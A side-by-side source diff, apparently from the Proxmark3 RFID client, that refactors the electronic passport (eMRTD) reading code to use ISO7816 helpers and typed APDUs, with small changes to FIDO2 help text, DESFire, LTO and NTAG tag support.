uint8_t cmd[8]; uint8_t cmd[8];
uint8_t data[21]; uint8_t data[21];
uint8_t temp[8] = {0x0c, 0xa4, strtol(select_by, NULL, 16), 0x0c}; uint8_t temp[8] = {0x0c, 0xa4, EMRTD_P1_SELECT_BY_EF, 0x0c};
int cmdlen = pad_block(temp, 4, cmd); int cmdlen = pad_block(temp, 4, cmd);
int datalen = pad_block(file_id, 2, data); int datalen = pad_block(file_id, 2, data);
@ -550,18 +506,14 @@ static bool emrtd_secure_select_file(uint8_t *kenc, uint8_t *kmac, uint8_t *ssc,
memcpy(data + (datalen + 3), do8e, 10); memcpy(data + (datalen + 3), do8e, 10);
PrintAndLogEx(DEBUG, "data: %s", sprint_hex_inrow(data, lc)); PrintAndLogEx(DEBUG, "data: %s", sprint_hex_inrow(data, lc));
sprintf(command, "0C%s%s0C%02X%s00", EMRTD_SELECT, select_by, lc, sprint_hex_inrow(data, lc)); if (emrtd_exchange_commands((sAPDU) {0x0C, EMRTD_SELECT, EMRTD_P1_SELECT_BY_EF, 0x0C, lc, data}, true, 0, response, sizeof(response), &resplen, false, true) == false) {
PrintAndLogEx(DEBUG, "command: %s", command);
if (emrtd_exchange_commands(command, response, &resplen, false, true, use_14b) == false) {
return false; return false;
} }
return emrtd_check_cc(ssc, kmac, response, resplen); return emrtd_check_cc(ssc, kmac, response, resplen);
} }
static bool _emrtd_secure_read_binary(uint8_t *kmac, uint8_t *ssc, int offset, int bytes_to_read, uint8_t *dataout, int *dataoutlen, bool use_14b) { static bool _emrtd_secure_read_binary(uint8_t *kmac, uint8_t *ssc, int offset, int bytes_to_read, uint8_t *dataout, size_t maxdataoutlen, size_t *dataoutlen) {
char command[54];
uint8_t cmd[8]; uint8_t cmd[8];
uint8_t data[21]; uint8_t data[21];
uint8_t temp[8] = {0x0c, 0xb0}; uint8_t temp[8] = {0x0c, 0xb0};
@ -603,23 +555,20 @@ static bool _emrtd_secure_read_binary(uint8_t *kmac, uint8_t *ssc, int offset, i
memcpy(data + 3, do8e, 10); memcpy(data + 3, do8e, 10);
PrintAndLogEx(DEBUG, "data: %s", sprint_hex_inrow(data, lc)); PrintAndLogEx(DEBUG, "data: %s", sprint_hex_inrow(data, lc));
sprintf(command, "0C%s%04X%02X%s00", EMRTD_READ_BINARY, offset, lc, sprint_hex_inrow(data, lc)); if (emrtd_exchange_commands((sAPDU) {0x0C, EMRTD_READ_BINARY, offset >> 8, offset & 0xFF, lc, data}, true, 0, dataout, maxdataoutlen, dataoutlen, false, true) == false) {
PrintAndLogEx(DEBUG, "command: %s", command);
if (emrtd_exchange_commands(command, dataout, dataoutlen, false, true, use_14b) == false) {
return false; return false;
} }
return emrtd_check_cc(ssc, kmac, dataout, *dataoutlen); return emrtd_check_cc(ssc, kmac, dataout, *dataoutlen);
} }
static bool _emrtd_secure_read_binary_decrypt(uint8_t *kenc, uint8_t *kmac, uint8_t *ssc, int offset, int bytes_to_read, uint8_t *dataout, int *dataoutlen, bool use_14b) { static bool _emrtd_secure_read_binary_decrypt(uint8_t *kenc, uint8_t *kmac, uint8_t *ssc, int offset, int bytes_to_read, uint8_t *dataout, size_t *dataoutlen) {
uint8_t response[500]; uint8_t response[500];
uint8_t temp[500]; uint8_t temp[500];
int resplen, cutat = 0; size_t resplen, cutat = 0;
uint8_t iv[8] = { 0x00 }; uint8_t iv[8] = { 0x00 };
if (_emrtd_secure_read_binary(kmac, ssc, offset, bytes_to_read, response, &resplen, use_14b) == false) { if (_emrtd_secure_read_binary(kmac, ssc, offset, bytes_to_read, response, sizeof(response), &resplen) == false) {
return false; return false;
} }
@ -635,20 +584,20 @@ static bool _emrtd_secure_read_binary_decrypt(uint8_t *kenc, uint8_t *kmac, uint
return true; return true;
} }
static int emrtd_read_file(uint8_t *dataout, int *dataoutlen, uint8_t *kenc, uint8_t *kmac, uint8_t *ssc, bool use_secure, bool use_14b) { static int emrtd_read_file(uint8_t *dataout, size_t *dataoutlen, uint8_t *kenc, uint8_t *kmac, uint8_t *ssc, bool use_secure) {
uint8_t response[EMRTD_MAX_FILE_SIZE]; uint8_t response[EMRTD_MAX_FILE_SIZE];
int resplen = 0; size_t resplen = 0;
uint8_t tempresponse[500]; uint8_t tempresponse[500];
int tempresplen = 0; size_t tempresplen = 0;
int toread = 4; int toread = 4;
int offset = 0; int offset = 0;
if (use_secure) { if (use_secure) {
if (_emrtd_secure_read_binary_decrypt(kenc, kmac, ssc, offset, toread, response, &resplen, use_14b) == false) { if (_emrtd_secure_read_binary_decrypt(kenc, kmac, ssc, offset, toread, response, &resplen) == false) {
return false; return false;
} }
} else { } else {
if (_emrtd_read_binary(offset, toread, response, &resplen, use_14b) == false) { if (_emrtd_read_binary(offset, toread, response, sizeof(response), &resplen) == false) {
return false; return false;
} }
} }
@ -666,12 +615,12 @@ static int emrtd_read_file(uint8_t *dataout, int *dataoutlen, uint8_t *kenc, uin
} }
if (use_secure) { if (use_secure) {
if (_emrtd_secure_read_binary_decrypt(kenc, kmac, ssc, offset, toread, tempresponse, &tempresplen, use_14b) == false) { if (_emrtd_secure_read_binary_decrypt(kenc, kmac, ssc, offset, toread, tempresponse, &tempresplen) == false) {
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
return false; return false;
} }
} else { } else {
if (_emrtd_read_binary(offset, toread, tempresponse, &tempresplen, use_14b) == false) { if (_emrtd_read_binary(offset, toread, tempresponse, sizeof(tempresponse), &tempresplen) == false) {
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
return false; return false;
} }
@ -746,21 +695,21 @@ static bool emrtd_lds_get_data_by_tag(uint8_t *datain, size_t datainlen, uint8_t
return false; return false;
} }
static bool emrtd_select_and_read(uint8_t *dataout, int *dataoutlen, const char *file, uint8_t *ks_enc, uint8_t *ks_mac, uint8_t *ssc, bool use_secure, bool use_14b) { static bool emrtd_select_and_read(uint8_t *dataout, size_t *dataoutlen, uint16_t file, uint8_t *ks_enc, uint8_t *ks_mac, uint8_t *ssc, bool use_secure) {
if (use_secure) { if (use_secure) {
if (emrtd_secure_select_file(ks_enc, ks_mac, ssc, EMRTD_P1_SELECT_BY_EF, file, use_14b) == false) { if (emrtd_secure_select_file_by_ef(ks_enc, ks_mac, ssc, file) == false) {
PrintAndLogEx(ERR, "Failed to secure select %s.", file); PrintAndLogEx(ERR, "Failed to secure select %s.", file);
return false; return false;
} }
} else { } else {
if (emrtd_select_file(EMRTD_P1_SELECT_BY_EF, file, use_14b) == false) { if (emrtd_select_file_by_ef(file) == false) {
PrintAndLogEx(ERR, "Failed to select %s.", file); PrintAndLogEx(ERR, "Failed to select %04X.", file);
return false; return false;
} }
} }
if (emrtd_read_file(dataout, dataoutlen, ks_enc, ks_mac, ssc, use_secure, use_14b) == false) { if (emrtd_read_file(dataout, dataoutlen, ks_enc, ks_mac, ssc, use_secure) == false) {
PrintAndLogEx(ERR, "Failed to read %s.", file); PrintAndLogEx(ERR, "Failed to read %04X.", file);
return false; return false;
} }
return true; return true;
@ -878,11 +827,11 @@ static int emrtd_dump_ef_sod(uint8_t *file_contents, size_t file_length, const c
return PM3_ESOFT; return PM3_ESOFT;
} }
static bool emrtd_dump_file(uint8_t *ks_enc, uint8_t *ks_mac, uint8_t *ssc, const char *file, const char *name, bool use_secure, bool use_14b, const char *path) { static bool emrtd_dump_file(uint8_t *ks_enc, uint8_t *ks_mac, uint8_t *ssc, uint16_t file, const char *name, bool use_secure, const char *path) {
uint8_t response[EMRTD_MAX_FILE_SIZE]; uint8_t response[EMRTD_MAX_FILE_SIZE];
int resplen = 0; size_t resplen = 0;
if (emrtd_select_and_read(response, &resplen, file, ks_enc, ks_mac, ssc, use_secure, use_14b) == false) { if (emrtd_select_and_read(response, &resplen, file, ks_enc, ks_mac, ssc, use_secure) == false) {
return false; return false;
} }
@ -914,11 +863,11 @@ static void rng(int length, uint8_t *dataout) {
memset(dataout, 0x00, length); memset(dataout, 0x00, length);
} }
static bool emrtd_do_bac(char *documentnumber, char *dob, char *expiry, uint8_t *ssc, uint8_t *ks_enc, uint8_t *ks_mac, bool use_14b) { static bool emrtd_do_bac(char *documentnumber, char *dob, char *expiry, uint8_t *ssc, uint8_t *ks_enc, uint8_t *ks_mac) {
uint8_t response[EMRTD_MAX_FILE_SIZE] = { 0x00 }; uint8_t response[EMRTD_MAX_FILE_SIZE] = { 0x00 };
int resplen = 0; size_t resplen = 0;
uint8_t rnd_ic[8] = { 0x00 }; uint8_t rnd_ic[10] = { 0x00 }; // 8 + SW
uint8_t kenc[50] = { 0x00 }; uint8_t kenc[50] = { 0x00 };
uint8_t kmac[50] = { 0x00 }; uint8_t kmac[50] = { 0x00 };
uint8_t k_icc[16] = { 0x00 }; uint8_t k_icc[16] = { 0x00 };
@ -950,7 +899,7 @@ static bool emrtd_do_bac(char *documentnumber, char *dob, char *expiry, uint8_t
PrintAndLogEx(DEBUG, "kmac.............. %s", sprint_hex_inrow(kmac, 16)); PrintAndLogEx(DEBUG, "kmac.............. %s", sprint_hex_inrow(kmac, 16));
// Get Challenge // Get Challenge
if (emrtd_get_challenge(8, rnd_ic, &resplen, use_14b) == false) { if (emrtd_get_challenge(8, rnd_ic, sizeof(rnd_ic), &resplen) == false) {
PrintAndLogEx(ERR, "Couldn't get challenge."); PrintAndLogEx(ERR, "Couldn't get challenge.");
return false; return false;
} }
@ -978,7 +927,7 @@ static bool emrtd_do_bac(char *documentnumber, char *dob, char *expiry, uint8_t
memcpy(cmd_data + 32, m_ifd, 8); memcpy(cmd_data + 32, m_ifd, 8);
// Do external authentication // Do external authentication
if (emrtd_external_authenticate(cmd_data, sizeof(cmd_data), response, &resplen, use_14b) == false) { if (emrtd_external_authenticate(cmd_data, sizeof(cmd_data), response, sizeof(response), &resplen) == false) {
PrintAndLogEx(ERR, "Couldn't do external authentication. Did you supply the correct MRZ info?"); PrintAndLogEx(ERR, "Couldn't do external authentication. Did you supply the correct MRZ info?");
return false; return false;
} }
@ -1016,60 +965,32 @@ static bool emrtd_do_bac(char *documentnumber, char *dob, char *expiry, uint8_t
return true; return true;
} }
static bool emrtd_connect(bool *use_14b) { static bool emrtd_connect(void) {
// Try to 14a int res = Iso7816Connect(CC_CONTACTLESS);
SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0, NULL, 0); return res == PM3_SUCCESS;
PacketResponseNG resp;
bool failed_14a = false;
if (WaitForResponseTimeout(CMD_ACK, &resp, 2000) == false) {
DropField();
failed_14a = true;
}
if (failed_14a || resp.oldarg[0] == 0) {
PrintAndLogEx(INFO, "No eMRTD spotted with 14a, trying 14b");
// If not 14a, try to 14b
iso14b_raw_cmd_t packet = {
.flags = (ISO14B_CONNECT | ISO14B_SELECT_STD),
.timeout = 0,
.rawlen = 0,
};
clearCommandBuffer();
SendCommandNG(CMD_HF_ISO14443B_COMMAND, (uint8_t *)&packet, sizeof(iso14b_raw_cmd_t));
if (WaitForResponseTimeout(CMD_HF_ISO14443B_COMMAND, &resp, 2000) == false) {
PrintAndLogEx(INFO, "timeout, no eMRTD spotted with 14b, exiting");
return false;
}
if (resp.oldarg[0] != 0) {
PrintAndLogEx(INFO, "No eMRTD spotted with 14b, exiting");
return false;
}
*use_14b = true;
}
return true;
} }
static bool emrtd_do_auth(char *documentnumber, char *dob, char *expiry, bool BAC_available, bool *BAC, uint8_t *ssc, uint8_t *ks_enc, uint8_t *ks_mac, bool *use_14b) { static bool emrtd_do_auth(char *documentnumber, char *dob, char *expiry, bool BAC_available, bool *BAC, uint8_t *ssc, uint8_t *ks_enc, uint8_t *ks_mac) {
// Select MRTD applet // Select MRTD applet
if (emrtd_select_file(EMRTD_P1_SELECT_BY_NAME, EMRTD_AID_MRTD, *use_14b) == false) { uint8_t aid[] = EMRTD_AID_MRTD;
if (emrtd_select_file_by_name(sizeof(aid), aid) == false) {
PrintAndLogEx(ERR, "Couldn't select the MRTD application."); PrintAndLogEx(ERR, "Couldn't select the MRTD application.");
return false; return false;
} }
// Select EF_COM // Select EF_COM
if (emrtd_select_file(EMRTD_P1_SELECT_BY_EF, dg_table[EF_COM].fileid, *use_14b) == false) { if (emrtd_select_file_by_ef(dg_table[EF_COM].fileid) == false) {
*BAC = true; *BAC = true;
PrintAndLogEx(INFO, "Authentication is enforced. Will attempt external authentication."); PrintAndLogEx(INFO, "Authentication is enforced. Will attempt external authentication.");
} else { } else {
*BAC = false; *BAC = false;
// Select EF_DG1 // Select EF_DG1
emrtd_select_file(EMRTD_P1_SELECT_BY_EF, dg_table[EF_DG1].fileid, *use_14b); emrtd_select_file_by_ef(dg_table[EF_DG1].fileid);
int resplen = 0; size_t resplen = 0;
uint8_t response[EMRTD_MAX_FILE_SIZE] = { 0x00 }; uint8_t response[EMRTD_MAX_FILE_SIZE] = { 0x00 };
if (emrtd_read_file(response, &resplen, NULL, NULL, NULL, false, *use_14b) == false) { if (emrtd_read_file(response, &resplen, NULL, NULL, NULL, false) == false) {
*BAC = true; *BAC = true;
PrintAndLogEx(INFO, "Authentication is enforced. Will attempt external authentication."); PrintAndLogEx(INFO, "Authentication is enforced. Will attempt external authentication.");
} else { } else {
@ -1077,7 +998,7 @@ static bool emrtd_do_auth(char *documentnumber, char *dob, char *expiry, bool BA
} }
} }
// Do Basic Access Aontrol // Do Basic Access Control
if (*BAC) { if (*BAC) {
// If BAC isn't available, exit out and warn user. // If BAC isn't available, exit out and warn user.
if (!BAC_available) { if (!BAC_available) {
@ -1086,7 +1007,7 @@ static bool emrtd_do_auth(char *documentnumber, char *dob, char *expiry, bool BA
return false; return false;
} }
if (emrtd_do_bac(documentnumber, dob, expiry, ssc, ks_enc, ks_mac, *use_14b) == false) { if (emrtd_do_bac(documentnumber, dob, expiry, ssc, ks_enc, ks_mac) == false) {
return false; return false;
} }
} }
@ -1095,33 +1016,32 @@ static bool emrtd_do_auth(char *documentnumber, char *dob, char *expiry, bool BA
int dumpHF_EMRTD(char *documentnumber, char *dob, char *expiry, bool BAC_available, const char *path) { int dumpHF_EMRTD(char *documentnumber, char *dob, char *expiry, bool BAC_available, const char *path) {
uint8_t response[EMRTD_MAX_FILE_SIZE] = { 0x00 }; uint8_t response[EMRTD_MAX_FILE_SIZE] = { 0x00 };
int resplen = 0; size_t resplen = 0;
uint8_t ssc[8] = { 0x00 }; uint8_t ssc[8] = { 0x00 };
uint8_t ks_enc[16] = { 0x00 }; uint8_t ks_enc[16] = { 0x00 };
uint8_t ks_mac[16] = { 0x00 }; uint8_t ks_mac[16] = { 0x00 };
bool BAC = false; bool BAC = false;
bool use_14b = false;
// Select the eMRTD // Select the eMRTD
if (emrtd_connect(&use_14b) == false) { if (emrtd_connect() == false) {
DropField(); DropField();
return PM3_ESOFT; return PM3_ESOFT;
} }
// Dump EF_CardAccess (if available) // Dump EF_CardAccess (if available)
if (!emrtd_dump_file(ks_enc, ks_mac, ssc, dg_table[EF_CardAccess].fileid, dg_table[EF_CardAccess].filename, BAC, use_14b, path)) { if (!emrtd_dump_file(ks_enc, ks_mac, ssc, dg_table[EF_CardAccess].fileid, dg_table[EF_CardAccess].filename, BAC, path)) {
PrintAndLogEx(INFO, "Couldn't dump EF_CardAccess, card does not support PACE."); PrintAndLogEx(INFO, "Couldn't dump EF_CardAccess, card does not support PACE.");
PrintAndLogEx(HINT, "This is expected behavior for cards without PACE, and isn't something to be worried about."); PrintAndLogEx(HINT, "This is expected behavior for cards without PACE, and isn't something to be worried about.");
} }
// Authenticate with the eMRTD // Authenticate with the eMRTD
if (!emrtd_do_auth(documentnumber, dob, expiry, BAC_available, &BAC, ssc, ks_enc, ks_mac, &use_14b)) { if (!emrtd_do_auth(documentnumber, dob, expiry, BAC_available, &BAC, ssc, ks_enc, ks_mac)) {
DropField(); DropField();
return PM3_ESOFT; return PM3_ESOFT;
} }
// Select EF_COM // Select EF_COM
if (!emrtd_select_and_read(response, &resplen, dg_table[EF_COM].fileid, ks_enc, ks_mac, ssc, BAC, use_14b)) { if (!emrtd_select_and_read(response, &resplen, dg_table[EF_COM].fileid, ks_enc, ks_mac, ssc, BAC)) {
PrintAndLogEx(ERR, "Failed to read EF_COM."); PrintAndLogEx(ERR, "Failed to read EF_COM.");
DropField(); DropField();
return PM3_ESOFT; return PM3_ESOFT;
@ -1162,7 +1082,7 @@ int dumpHF_EMRTD(char *documentnumber, char *dob, char *expiry, bool BAC_availab
} }
PrintAndLogEx(DEBUG, "Current file: %s", dg->filename); PrintAndLogEx(DEBUG, "Current file: %s", dg->filename);
if (!dg->pace && !dg->eac) { if (!dg->pace && !dg->eac) {
emrtd_dump_file(ks_enc, ks_mac, ssc, dg->fileid, dg->filename, BAC, use_14b, path); emrtd_dump_file(ks_enc, ks_mac, ssc, dg->fileid, dg->filename, BAC, path);
} }
} }
DropField(); DropField();
@ -1869,32 +1789,32 @@ static int emrtd_print_ef_cardaccess_info(uint8_t *data, size_t datalen) {
int infoHF_EMRTD(char *documentnumber, char *dob, char *expiry, bool BAC_available) { int infoHF_EMRTD(char *documentnumber, char *dob, char *expiry, bool BAC_available) {
uint8_t response[EMRTD_MAX_FILE_SIZE] = { 0x00 }; uint8_t response[EMRTD_MAX_FILE_SIZE] = { 0x00 };
int resplen = 0; size_t resplen = 0;
uint8_t ssc[8] = { 0x00 }; uint8_t ssc[8] = { 0x00 };
uint8_t ks_enc[16] = { 0x00 }; uint8_t ks_enc[16] = { 0x00 };
uint8_t ks_mac[16] = { 0x00 }; uint8_t ks_mac[16] = { 0x00 };
bool BAC = false; bool BAC = false;
bool PACE_available = true; bool PACE_available = true;
bool use_14b = false;
// Select the eMRTD // Select the eMRTD
if (!emrtd_connect(&use_14b)) { if (emrtd_connect() == false) {
DropField(); DropField();
return PM3_ESOFT; return PM3_ESOFT;
} }
bool use14b = GetISODEPState() == ISODEP_NFCB;
// Read EF_CardAccess // Read EF_CardAccess
if (!emrtd_select_and_read(response, &resplen, dg_table[EF_CardAccess].fileid, ks_enc, ks_mac, ssc, BAC, use_14b)) { if (!emrtd_select_and_read(response, &resplen, dg_table[EF_CardAccess].fileid, ks_enc, ks_mac, ssc, BAC)) {
PACE_available = false; PACE_available = false;
PrintAndLogEx(HINT, "The error above this is normal. It just means that your eMRTD lacks PACE."); PrintAndLogEx(HINT, "The error above this is normal. It just means that your eMRTD lacks PACE.");
} }
// Select and authenticate with the eMRTD // Select and authenticate with the eMRTD
bool auth_result = emrtd_do_auth(documentnumber, dob, expiry, BAC_available, &BAC, ssc, ks_enc, ks_mac, &use_14b); bool auth_result = emrtd_do_auth(documentnumber, dob, expiry, BAC_available, &BAC, ssc, ks_enc, ks_mac);
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(INFO, "------------------ " _CYAN_("Basic Info") " ------------------"); PrintAndLogEx(INFO, "------------------ " _CYAN_("Basic Info") " ------------------");
PrintAndLogEx(SUCCESS, "Communication standard: %s", use_14b ? _YELLOW_("ISO/IEC 14443(B)") : _YELLOW_("ISO/IEC 14443(A)")); PrintAndLogEx(SUCCESS, "Communication standard: %s", use14b ? _YELLOW_("ISO/IEC 14443(B)") : _YELLOW_("ISO/IEC 14443(A)"));
PrintAndLogEx(SUCCESS, "Authentication........: %s", BAC ? _GREEN_("Enforced") : _RED_("Not enforced")); PrintAndLogEx(SUCCESS, "Authentication........: %s", BAC ? _GREEN_("Enforced") : _RED_("Not enforced"));
PrintAndLogEx(SUCCESS, "PACE..................: %s", PACE_available ? _GREEN_("Available") : _YELLOW_("Not available")); PrintAndLogEx(SUCCESS, "PACE..................: %s", PACE_available ? _GREEN_("Available") : _YELLOW_("Not available"));
PrintAndLogEx(SUCCESS, "Authentication result.: %s", auth_result ? _GREEN_("Successful") : _RED_("Failed")); PrintAndLogEx(SUCCESS, "Authentication result.: %s", auth_result ? _GREEN_("Successful") : _RED_("Failed"));
@ -1909,7 +1829,7 @@ int infoHF_EMRTD(char *documentnumber, char *dob, char *expiry, bool BAC_availab
} }
// Read EF_COM to get file list // Read EF_COM to get file list
if (!emrtd_select_and_read(response, &resplen, dg_table[EF_COM].fileid, ks_enc, ks_mac, ssc, BAC, use_14b)) { if (!emrtd_select_and_read(response, &resplen, dg_table[EF_COM].fileid, ks_enc, ks_mac, ssc, BAC)) {
PrintAndLogEx(ERR, "Failed to read EF_COM."); PrintAndLogEx(ERR, "Failed to read EF_COM.");
DropField(); DropField();
return PM3_ESOFT; return PM3_ESOFT;
@ -1935,7 +1855,7 @@ int infoHF_EMRTD(char *documentnumber, char *dob, char *expiry, bool BAC_availab
uint8_t dg_hashes_calc[17][64] = { { 0 } }; uint8_t dg_hashes_calc[17][64] = { { 0 } };
int hash_algo = 0; int hash_algo = 0;
if (!emrtd_select_and_read(response, &resplen, dg_table[EF_SOD].fileid, ks_enc, ks_mac, ssc, BAC, use_14b)) { if (!emrtd_select_and_read(response, &resplen, dg_table[EF_SOD].fileid, ks_enc, ks_mac, ssc, BAC)) {
PrintAndLogEx(ERR, "Failed to read EF_SOD."); PrintAndLogEx(ERR, "Failed to read EF_SOD.");
DropField(); DropField();
return PM3_ESOFT; return PM3_ESOFT;
@ -1954,7 +1874,7 @@ int infoHF_EMRTD(char *documentnumber, char *dob, char *expiry, bool BAC_availab
continue; continue;
} }
if (dg->fastdump && !dg->pace && !dg->eac) { if (dg->fastdump && !dg->pace && !dg->eac) {
if (emrtd_select_and_read(response, &resplen, dg->fileid, ks_enc, ks_mac, ssc, BAC, use_14b)) { if (emrtd_select_and_read(response, &resplen, dg->fileid, ks_enc, ks_mac, ssc, BAC)) {
if (dg->parser != NULL) if (dg->parser != NULL)
dg->parser(response, resplen); dg->parser(response, resplen);
@ -2186,7 +2106,13 @@ static int CmdHFeMRTDDump(const char *Cmd) {
if (error) { if (error) {
return PM3_ESOFT; return PM3_ESOFT;
} }
return dumpHF_EMRTD((char *)docnum, (char *)dob, (char *)expiry, BAC, (const char *)path); bool restore_apdu_logging = GetAPDULogging();
if (g_debugMode >= 2) {
SetAPDULogging(true);
}
int res = dumpHF_EMRTD((char *)docnum, (char *)dob, (char *)expiry, BAC, (const char *)path);
SetAPDULogging(restore_apdu_logging);
return res;
} }
static int CmdHFeMRTDInfo(const char *Cmd) { static int CmdHFeMRTDInfo(const char *Cmd) {
@ -2276,7 +2202,13 @@ static int CmdHFeMRTDInfo(const char *Cmd) {
if (offline) { if (offline) {
return infoHF_EMRTD_offline((const char *)path); return infoHF_EMRTD_offline((const char *)path);
} else { } else {
return infoHF_EMRTD((char *)docnum, (char *)dob, (char *)expiry, BAC); bool restore_apdu_logging = GetAPDULogging();
if (g_debugMode >= 2) {
SetAPDULogging(true);
}
int res = infoHF_EMRTD((char *)docnum, (char *)dob, (char *)expiry, BAC);
SetAPDULogging(restore_apdu_logging);
return res;
} }
} }

View file

@ -16,7 +16,7 @@
typedef struct emrtd_dg_s { typedef struct emrtd_dg_s {
uint8_t tag; uint8_t tag;
uint8_t dgnum; uint8_t dgnum;
const char *fileid; uint16_t fileid;
const char *filename; const char *filename;
const char *desc; const char *desc;
bool pace; bool pace;

View file

@ -24,7 +24,7 @@
#include "commonutil.h" #include "commonutil.h"
#include "comms.h" #include "comms.h"
#include "proxmark3.h" #include "proxmark3.h"
#include "emv/emvcore.h" #include "iso7816/iso7816core.h"
#include "emv/emvjson.h" #include "emv/emvjson.h"
#include "cliparser.h" #include "cliparser.h"
#include "crypto/asn1utils.h" #include "crypto/asn1utils.h"
@ -38,7 +38,7 @@
#include "fileutils.h" // laodFileJSONroot #include "fileutils.h" // laodFileJSONroot
#define DEF_FIDO_SIZE 2048 #define DEF_FIDO_SIZE 2048
#define DEF_FIDO_PARAM_FILE "fido2_defparams.json" #define DEF_FIDO_PARAM_FILE "hf_fido2_defparams.json"
static int CmdHelp(const char *Cmd); static int CmdHelp(const char *Cmd);
@ -654,7 +654,9 @@ static int CmdHFFido2MakeCredential(const char *cmd) {
CLIParserContext *ctx; CLIParserContext *ctx;
CLIParserInit(&ctx, "hf fido make", CLIParserInit(&ctx, "hf fido make",
"Execute a FIDO2 Make Credential command. Needs json file with parameters.\n" "Execute a FIDO2 Make Credential command. Needs json file with parameters.\n"
"Sample file `fido2_defparams.json` in `client/resources/`.", "Sample file `fido2_defparams.json` in `client/resources/`.\n"
"- for yubikey there must be only one option `\"rk\": true` or false"
,
"hf fido make --> use default parameters file `fido2_defparams.json`\n" "hf fido make --> use default parameters file `fido2_defparams.json`\n"
"hf fido make -f test.json --> use parameters file `text.json`" "hf fido make -f test.json --> use parameters file `text.json`"
); );
@ -772,7 +774,8 @@ static int CmdHFFido2GetAssertion(const char *cmd) {
CLIParserInit(&ctx, "hf fido assert", CLIParserInit(&ctx, "hf fido assert",
"Execute a FIDO2 Get Assertion command. Needs json file with parameters.\n" "Execute a FIDO2 Get Assertion command. Needs json file with parameters.\n"
"Sample file `fido2_defparams.json` in `client/resources/`.\n" "Sample file `fido2_defparams.json` in `client/resources/`.\n"
"- Needs if `rk` option is `false` (authenticator doesn't store credential to its memory)" "- Needs if `rk` option is `false` (authenticator doesn't store credential to its memory)\n"
"- for yubikey there must be only one option `\"up\": true` or false"
, ,
"hf fido assert --> default parameters file `fido2_defparams.json`\n" "hf fido assert --> default parameters file `fido2_defparams.json`\n"
"hf fido assert -f test.json -l --> use parameters file `text.json` and add to request CredentialId"); "hf fido assert -f test.json -l --> use parameters file `text.json` and add to request CredentialId");

View file

@ -94,6 +94,7 @@ static const char *get_page_name(uint16_t pageid) {
static int CmdHelp(const char *Cmd); static int CmdHelp(const char *Cmd);
static void lto_switch_off_field(void) { static void lto_switch_off_field(void) {
SetISODEPState(ISODEP_INACTIVE);
SendCommandMIX(CMD_HF_ISO14443A_READER, 0, 0, 0, NULL, 0); SendCommandMIX(CMD_HF_ISO14443A_READER, 0, 0, 0, NULL, 0);
} }

View file

@ -24,8 +24,8 @@
#include "protocols.h" #include "protocols.h"
#include "cmdtrace.h" #include "cmdtrace.h"
#include "cliparser.h" #include "cliparser.h"
#include "emv/apduinfo.h" // APDU manipulation / errorcodes #include "iso7816/apduinfo.h" // APDU manipulation / errorcodes
#include "emv/emvcore.h" // APDU logging #include "iso7816/iso7816core.h" // APDU logging
#include "util_posix.h" // msleep #include "util_posix.h" // msleep
#include "mifare/desfire_crypto.h" #include "mifare/desfire_crypto.h"
#include "crapto1/crapto1.h" #include "crapto1/crapto1.h"
@ -3613,7 +3613,7 @@ static int CmdHF14ADesInfo(const char *Cmd) {
iso14a_card_select_t card; iso14a_card_select_t card;
res = SelectCard14443_4(true, &card); res = SelectCard14443A_4(true, &card);
if (res == PM3_SUCCESS) { if (res == PM3_SUCCESS) {
static const char STANDALONE_DESFIRE[] = { 0x75, 0x77, 0x81, 0x02}; static const char STANDALONE_DESFIRE[] = { 0x75, 0x77, 0x81, 0x02};
static const char JCOP_DESFIRE[] = { 0x75, 0xf7, 0xb1, 0x02 }; static const char JCOP_DESFIRE[] = { 0x75, 0xf7, 0xb1, 0x02 };

View file

@ -64,7 +64,7 @@ uint32_t UL_TYPES_ARRAY[] = {
NTAG_203, NTAG_210, NTAG_212, NTAG_213, NTAG_215, NTAG_216, NTAG_203, NTAG_210, NTAG_212, NTAG_213, NTAG_215, NTAG_216,
MY_D, MY_D_NFC, MY_D_MOVE, MY_D_MOVE_NFC, MY_D_MOVE_LEAN, FUDAN_UL, MY_D, MY_D_NFC, MY_D_MOVE, MY_D_MOVE_NFC, MY_D_MOVE_LEAN, FUDAN_UL,
UL_EV1, NTAG_213_F, NTAG_216_F, UL_NANO_40, NTAG_I2C_1K, NTAG_213_TT, UL_EV1, NTAG_213_F, NTAG_216_F, UL_NANO_40, NTAG_I2C_1K, NTAG_213_TT,
NTAG_213_C NTAG_213_C, NTAG_210u
}; };
uint8_t UL_MEMORY_ARRAY[ARRAYLEN(UL_TYPES_ARRAY)] = { uint8_t UL_MEMORY_ARRAY[ARRAYLEN(UL_TYPES_ARRAY)] = {
@ -72,7 +72,7 @@ uint8_t UL_MEMORY_ARRAY[ARRAYLEN(UL_TYPES_ARRAY)] = {
MAX_NTAG_203, MAX_NTAG_210, MAX_NTAG_212, MAX_NTAG_213, MAX_NTAG_215, MAX_NTAG_216, MAX_NTAG_203, MAX_NTAG_210, MAX_NTAG_212, MAX_NTAG_213, MAX_NTAG_215, MAX_NTAG_216,
MAX_UL_BLOCKS, MAX_MY_D_NFC, MAX_MY_D_MOVE, MAX_MY_D_MOVE, MAX_MY_D_MOVE_LEAN, MAX_UL_BLOCKS, MAX_UL_BLOCKS, MAX_MY_D_NFC, MAX_MY_D_MOVE, MAX_MY_D_MOVE, MAX_MY_D_MOVE_LEAN, MAX_UL_BLOCKS,
MAX_ULEV1a_BLOCKS, MAX_NTAG_213, MAX_NTAG_216, MAX_UL_NANO_40, MAX_NTAG_I2C_1K, MAX_NTAG_213, MAX_ULEV1a_BLOCKS, MAX_NTAG_213, MAX_NTAG_216, MAX_UL_NANO_40, MAX_NTAG_I2C_1K, MAX_NTAG_213,
MAX_NTAG_213 MAX_NTAG_213, MAX_NTAG_210
}; };
//------------------------------------ //------------------------------------
@ -525,6 +525,8 @@ int ul_print_type(uint32_t tagtype, uint8_t spaces) {
snprintf(typestr, sizeof(typestr), "%*sTYPE: " _YELLOW_("NTAG UNKNOWN"), spaces, ""); snprintf(typestr, sizeof(typestr), "%*sTYPE: " _YELLOW_("NTAG UNKNOWN"), spaces, "");
else if (tagtype & NTAG_203) else if (tagtype & NTAG_203)
